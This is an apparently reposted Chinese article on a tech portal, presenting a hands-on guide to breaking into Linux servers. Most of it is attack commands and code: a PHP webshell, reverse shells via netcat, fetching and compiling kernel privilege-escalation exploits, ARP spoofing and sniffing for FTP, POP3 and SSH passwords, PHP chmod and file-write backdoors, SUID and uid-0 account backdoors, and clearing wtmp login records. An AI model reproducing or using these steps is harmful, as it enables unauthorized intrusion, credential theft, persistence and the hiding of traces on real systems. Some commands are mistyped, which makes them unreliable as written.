" >rankuplog_time.php.[jobcruit@wa64-054 rankup_log]$ cat rankuplog_time.php" />
0
  • 聊天消息
  • 系统消息
  • 评论与回复
登录后你可以
  • 下载海量资料
  • 学习在线课程
  • 观看技术视频
  • 写文章/发帖/加入社区
会员中心
创作中心

完善资料让更多小伙伴认识你,还能领取20积分哦,立即完善>

3天内不再提示

linux很安全?输入这几行代码轻松侵入

马哥Linux运维 来源:杨湘祁 作者:电子发烧友 2019-03-01 17:10 次阅读
加入交流群
微信小助手二维码

扫码添加小助手

加入工程师交流群

写个php一句话后门上去:

[jobcruit@wa64-054 rankup_log]$ echo -e "{C}{C}{C}" >rankuplog_time.php

[jobcruit@wa64-054 rankup_log]$ cat rankuplog_time.php

1.linux的想着先跨站。

shell浏览目标站不行,命令行下输入ls -la /www.users/

2.溢出提权

# python –c ‘impotr pty;pty.spawn(“/bin/sh”);

来得到交互的Shell,一般的系统都默认安装python

输入id

bash-3.2$ id

uid=529(zeicom) gid=525(zeicom) groups=525(zeicom)

bash-3.2$

这里uid=529(zeicom)还不是root权限,

输入uname –r

返回:2.6.18-164.11.1.el5PAE

Linux提权大致可分为,第三方软件漏洞、本地信任特性、内核溢出

找对应的exp, 这里地址整理很齐全可以这里下

http://tools.90sec.org/

http://sebug.net/paper/linux_exp/

http://x73.cc/bitch/exp/

http://www.exploit-db.com/search/

命令输入pwd,这个命令是显示当前目录,

先看能不能编译 gcc -help

当前目录就是shell的目录,我在shell上传2.c

反弹shell 到外网自己机器的12345端口

上外网服务器 本地监听 nc -lvvp 12345

一般都能得到一个apache交互的shell 有时候又不行

这时候

# python -c 'impotr pty;pty.spawn("/bin/sh");'

cd /tmp 进入tmp目录

mkdir Papers 创建一个Papers的目录 Papers不显眼

cd Papers 进入 Papers目录

pwd 查看当前目录

然后命令输入

wget 下载exp

gcc –o 2 2.c //把2.c编译成可执行文件 g++ keio.cc -o keio

chmod +x 2 //给2有执行权限

./2 //执行2, 溢出

gcc -I/usr/local/include -L/usr/local/lib -o arpsniffer arpsniffer.c -lpcap -lnet

确定arpsniffer.c需要先装pcap和 libnet。

rpm -ivh libnet-1.1.2.1-2.1.fc2.rf.i386.rpm

wget http://downloads.sourceforge.net/libpcap/libpcap-0.8.1.tar.gz?modtime=1072656000&big_mirror=0

tar zxvf libpcap-0.8.1.tar.gz

cd libpcap-0.8.1

./configure

make

make install

重新编译arpsniffer.c

gcc -I/usr/local/include -L/usr/local/lib -o arpsniffer arpsniffer.c -lpcap -lnet

这次没报错,编译成功。

./arpsniffer -I eth0 -M 192.168.0.6 -W 192.168.0.4 -S 192.168.0.254

下面开始欺骗,由于是服务器端,因此我们欺骗网关:(网络环境如下,邮件服务器ip:192.168.0.11 网关:192.168.0.1 本机:192.168.0.77)

./arpsniffer -I eth0 -M 192.168.0.77 -W 192.168.0.1 -S 192.168.0.11 -P 110

在另一个登录里面用tcpdump监听下

tcpdump -i eth0 host 192.168.0.11

发现有数据,把监听的数据存在文件里面:

tcpdump -i eth0 host 172.16.0.12 -w pop.txt

10分钟后停止,在SecureCRT下用sz命令下载pop.txt到本地,然后用Ethereal分析。

下面我们就可以用linsniffer监听我们想要的用户名和密码了。

先修改linsniffer.c:根据自己的需求监听相应的应用密码。我的如下:

if(ntohs(tcp->dest)==21) p=1; /* ftp */

if(ntohs(tcp->dest)==22) p=1; /* ssh for comparison added for example only comment out if desired*/

if(ntohs(tcp->dest)==23) p=1; /* telnet */

if(ntohs(tcp->dest)==80) p=1; /* http */

if(ntohs(tcp->dest)==110) p=1; /* pop3 */

if(ntohs(tcp->dest)==513) p=1; /* rlogin */

if(ntohs(tcp->dest)==106) p=1; /* poppasswd */

[root@bbs111 root]# gcc -o linsniffer linsniffer.c

In file included from /usr/include/linux/tcp.h:21,

from linsniffer.c:32:

/usr/include/asm/byteorder.h:6:2: warning: #warning using private kernel header; include instead!

不用管警告,直接运行编译后的linsniffer即可。

[root@bbs111 root]# ./linsniffer

用户名和密码都自动存到了tcp.log下。

3.利用跨站代码

linux不提权跨目录访问的代码

linux权限多设的比较松的其实,但有的虚拟机还是不能跨目录访问的。

在提不了权的情况下,试试如下代码吧。运气好的话说不定就跨过去了。

代码如下:

$path = stripslashes($_GET['path']);

$ok = chmod ($path , 0777);

if ($ok == true)

echo CHMOD OK , Permission editable file or directory. Permission to write;

?>

把上面代码保存为tmdsb.PHP

然后访问http://www.tmdsb.com/tmdsb.php?path=../../要跨的目录/index.php

这里的index.PHP是要修改权限的文件。

收集的另一个exp:

把下面的代码保存为exp.PHP

代码:

@$filename = stripslashes($_POST['filename']);

@$mess = stripslashes($_POST['mess']);

$fp = @fopen({$_POST['filename']}, 'a');

@fputs($fp,$mess

);

@fclose($fp);

?>

4.2.618最终Linux Kernel < 2.6.19 udp_sendmsg Local Root Exploit (x86/x64)这个0day溢出成功

udev提权

换了个udev提权,适用于内核范围为2.6.*。

还是上传文件至服务器shell所在目录,执行命令ls,发现文件已经躺在那里面了,之后赋予exp执行权限。

chmod +x pwnkernel.c

chmod +x wunderbar_emporium.sh

chmod +x exploit.c

之后执行溢出./w*

成功溢出,root权限。

之后就是留下一个后门~ 添加一个root权限用户俺也不介意。。。(useradd -u 0 -o "username")

依次输入命令

cd /tmp

sh-3.1# ls /lib/ld-linux*

/lib/ld-linux.so.2

sh-3.1# cp /lib/ld-linux.so.2 /tmp/.str1ven

sh-3.1# ls -l .str1ven

-rwxr-xr-x 1 root root 121684 07-08 21:13 .str1ven

sh-3.1# chmod +s .str1ven

sh-3.1# ls -l .str1ven

-rwsr-sr-x 1 root root 121684 07-08 21:13 .str1ven

成功建立一个后门,退出root,执行./.str1ven `which whoami`,又成功获取root权限~~

cat /etc/passwd 查看linux用户

cat /etc/shadow 查看用户密码需要root权限

cat /etc/sysconfig/network-scripts/ifcfg-ethn N代表网卡号 查看所在网卡的ip信息

ifconfig 查看本机ip信息

cat /etc/resolv.conf 查看DNS信息

bash -i 在反弹的shell中使用可以直观显示命令

bash prompt: 当你以普通限权用户身份进入的时候,一般你会有一个类似bash$的prompt。当你以

Root登陆时,你的prompt会变成bash#。

系统变量 : 试着echo "$USER / $EUID" 系统应该会告诉你它认为你是什么用户。

echo 1>/proc/sys/net/ipv4/if_forward是不是你写错了,应该是echo 1>/proc/sys/net/ipv4/ip_forward,

vim /proc/sys/net/ipv4/ip_forward 吧,默认是0,也就是内核不进行数据包过滤,改为1 ,让内核对数据包进行filter处理!

netstat -an |grep LISTEN |grep :80 查看端口

service --status-all | grep running

service --status-all | grep http

查看运行服务

lsb_release -a 查看系统版本

重启ssh服务 :

/usr/sbin/sshd stop/

usr/sbin/sshd start

ssd_config文件里

PasswordAuthentication no,

将其改为

PasswordAuthentication yes

远程ssh才可登录

否则显示Access denied

其中Usepam yes可能用来建立pam方式login,比如从其它linux主机ssh到服务端,如果关闭,则不能打开.

su的菜鸟用法

先chomod 777 /etc/passwd

然后修改bin用户的gid和uid为0

然后passwd设置bin的密码

然后cp /bin/bash /sbin/nologin

然后su的时候su - bin就可以到rootshell了。

这个原理就是当ssh不允许root用ssh终端登陆的时候,我们又不知道root密码的一种很菜鸟的做法。

还可以这样

sed -i s/bin:x:1:1/bin:x:0:1/g /etc/passwd

gcc prtcl2.c –o local –static –Wall

echo "nosec:x:0:0::/:/bin/sh" >> /etc/passwd

echo "nosec::-1:-1:-1:-1:-1:-1:500" >> /etc/shadow

清空last记录 cp /dev/null /var/log/wtmp

-----

dd if=/dev/zero of=yourfile bs=10M count=10 建立一个100m的大文件在利用Linux Kernel <= 2.6.17.4 (proc) Local Root Exploit提权的时候要用到的

/etc/init.d/ssh start 开22端口

/etc/ssh/sshd_config SSH服务配置文件

声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉
  • Linux
    +关注

    关注

    88

    文章

    11826

    浏览量

    219626
  • 代码
    +关注

    关注

    30

    文章

    4977

    浏览量

    74439

原文标题:如何入侵linux服务器?这几个命令够用了

文章出处:【微信号:magedu-Linux,微信公众号:马哥Linux运维】欢迎添加关注!文章转载请注明出处。

收藏 人收藏
加入交流群
微信小助手二维码

扫码添加小助手

加入工程师交流群

    评论

    相关推荐
    热点推荐

    Linux系统安全加固实战

    Linux 主机的“安全问题”在生产中往往不是 0/1,而是一个持续被配置细节放大的风险曲线:同一套业务在不同团队、不同镜像、不同运维习惯下,最终暴露面会出现数量级差异。
    的头像 发表于 03-13 09:42 391次阅读

    Linux内核编码风格权威总结:从缩进到底层设计,让你的代码更“内核味”

    作为全球最庞大的开源项目之一,Linux 内核的代码量早已突破千万行。要让来自世界各地的开发者高效协作,一套统一、严谨的编码风格必不可少 —— 这不仅是 “代码颜值” 的要求,更是可读性、可维护性的核心保障。
    的头像 发表于 02-09 16:29 309次阅读
    <b class='flag-5'>Linux</b>内核编码风格权威总结:从缩进到底层设计,让你的<b class='flag-5'>代码</b>更“内核味”

    Linux磁盘管理指令合集:从查看、分区到修复

    Linux 服务器运维或日常使用中,磁盘管理是高频操作 —— 无论是排查磁盘空间不足的问题,还是新增硬盘后的分区配置,都离不开一系列核心指令。今天就为大家整理一份「Linux 磁盘管理指令操作集」,按功能分类讲解,附带示例和注意事项,新手也能
    的头像 发表于 02-03 16:07 3621次阅读
    <b class='flag-5'>Linux</b>磁盘管理指令合集:从查看、分区到修复

    Linux Shell文本处理神器合集:15个工具+实战例子,效率直接翻倍

    Linux 系统中,文本是数据交互的 “通用语言”—— 日志文件、配置文件、数据报表、程序输出几乎都以文本形式存在。手动编辑文本不仅繁琐,还容易出错,而掌握 Shell 文本处理工具,能让你用几行命令完成批量筛选、数据提取、统计分析,甚至复杂的文本清洗。
    的头像 发表于 02-03 15:42 3000次阅读
    <b class='flag-5'>Linux</b> Shell文本处理神器合集:15个工具+实战例子,效率直接翻倍

    纳米级Ag+掺杂:破解固态电池锂枝晶侵入难题

    固态电池中的锂枝晶侵入限制了快充能力并导致短路,然而其潜在的调控机制尚不完全明晰。在以脆性固体电解质为核心的固态电池中,机械缺陷(包括表面纳米裂纹以及内部空隙和晶界)是锂侵入的关键诱因。在电镀过程中
    的头像 发表于 01-29 18:04 331次阅读
    纳米级Ag+掺杂:破解固态电池锂枝晶<b class='flag-5'>侵入</b>难题

    单片机开发功能安全中编译器

    在各个领域,功能安全领域对开发人员提出了新要求。功能上安全代码必须包括防御性代码,以防御各种原因引起的意外事件。例如,由于编码错误或宇宙射线事件而导致的内存损坏可能导致执行根据
    发表于 12-01 06:44

    基于Hbird-e-sdk Linux环境下使用Uart0 对串口进行输入的软件代码参考

    本次代码是基于hbird-e-sdk下software参考示例demo_gpio的中断代码实现相应更改,然后通过蜂鸟调试器连接的UART0实现对串口的输入(PC/LINUX) 一.软件
    发表于 10-31 06:32

    侵入式局放监测革命:上海云瞳绿能科技的融合创新实践

    在电力设备智能运维领域,非侵入式安装与多技术融合正成为局放在线监测的核心突破点。上海云瞳绿能科技有限公司(以下简称“云瞳绿能”)通过 “特高频电磁波检测+ TEV(暂态地电压)+声波定位+温度监测” 的协同创新,重新定义了设备绝缘状态监测的效率和安全性。
    的头像 发表于 09-24 18:21 783次阅读
    非<b class='flag-5'>侵入</b>式局放监测革命:上海云瞳绿能科技的融合创新实践

    【HZ-T536开发板免费体验】—— linux 进程创建

    Linux进程通信方式有这几种: 1。管道 2。信号量 3。消息队列 4。共享内存 在本帖子中,我会讲解fork(),exit()系统调用的实践。通过应用编程来实现系统调用。 1,进程创建 打开
    发表于 09-01 20:49

    知乎开源“智能预渲染框架” 几行代码实现鸿蒙应用页面“秒开”

    ,交互延迟等核心痛点,通过智能预测用户浏览目标进行提前渲染,只需几行代码即可显著提升复杂页面的加载性能,实现“页面秒开”的高效体验,为鸿蒙开发者带来开发效率和用户体验的双重飞跃。 随着鸿蒙生态快速发展,应用开发者难免会遇到一些性能问题
    的头像 发表于 08-29 14:32 733次阅读
    知乎开源“智能预渲染框架” <b class='flag-5'>几行</b><b class='flag-5'>代码</b>实现鸿蒙应用页面“秒开”

    Linux企业网络安全防护体系建设

    构建完整的Linux安全防护体系不是简单的工具堆砌,而是需要从架构设计、监控告警、应急响应到持续改进的完整闭环。本文将分享我在大型企业环境中的实战经验。
    的头像 发表于 08-27 14:39 951次阅读

    【HZ-T536开发板免费体验】5- 无需死记 Linux 命令!用 CangjieMagic 在 HZ-T536 开发板上搭建 MCP 服务器,自然语言轻松控板

    , printWarningMsg] ] class LinuxCmdAgent { @prompt( \"\"\" 根据用户输入的信息,返回对应的Linux指令。判断Linux指令是否对系统
    发表于 08-23 13:10

    增加语音控制功能关注这几颗芯片轻松搞定

    增加语音控制功能关注这几颗芯片轻松搞定 目前感觉几乎所有的头部或者非头部的产品都在争先恐后的上语音控制功能,产品单价高的上离在线AI对话功能,产品单价低的上离线语音控制功能。为什么都在上语音控制功能
    的头像 发表于 08-19 16:46 1152次阅读

    如何构建Linux服务器安全防护体系

    前言:作为一名运维工程师,我见过太多因为安全配置不当而被攻破的服务器。本文将分享我多年来积累的实战经验,教你如何构建一套完整的Linux服务器安全防护体系。
    的头像 发表于 08-05 17:35 1281次阅读

    正点原子Linux系列全新视频教程来啦!手把手教你MP257开发板,让您轻松入门!

    正点原子Linux系列全新视频教程来啦!手把手教你MP257开发板,让您轻松入门! 一、视频观看 正点原子手把手教你学STM32MP257-第1期:https://www.bilibili.com/video/BV1UtEizyE7Z 二、更多详细介绍
    发表于 05-16 10:42